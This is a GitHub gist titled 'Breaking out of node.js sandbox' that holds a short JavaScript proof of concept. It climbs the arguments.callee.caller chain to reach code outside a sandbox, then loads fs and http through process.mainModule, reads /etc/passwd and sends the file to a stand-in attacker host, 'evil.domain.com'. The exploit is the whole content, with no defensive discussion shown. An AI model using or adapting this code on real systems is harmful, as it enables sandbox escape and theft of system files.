Created
June 7, 2012 15:02
-
-
Save bjoerge/2889278 to your computer and use it in GitHub Desktop.
Breaking out of node.js sandbox
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var func = arguments.callee.caller.arguments.callee.caller.arguments.callee.caller.arguments.callee.arguments.callee.caller.arguments.callee.caller; | |
func.call(func, "var fs = process.mainModule.require('fs');var http = process.mainModule.require('http');var req = http.request({host: 'evil.domain.com'}); req.write(fs.readFileSync('/etc/passwd').toString());req.end();"); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment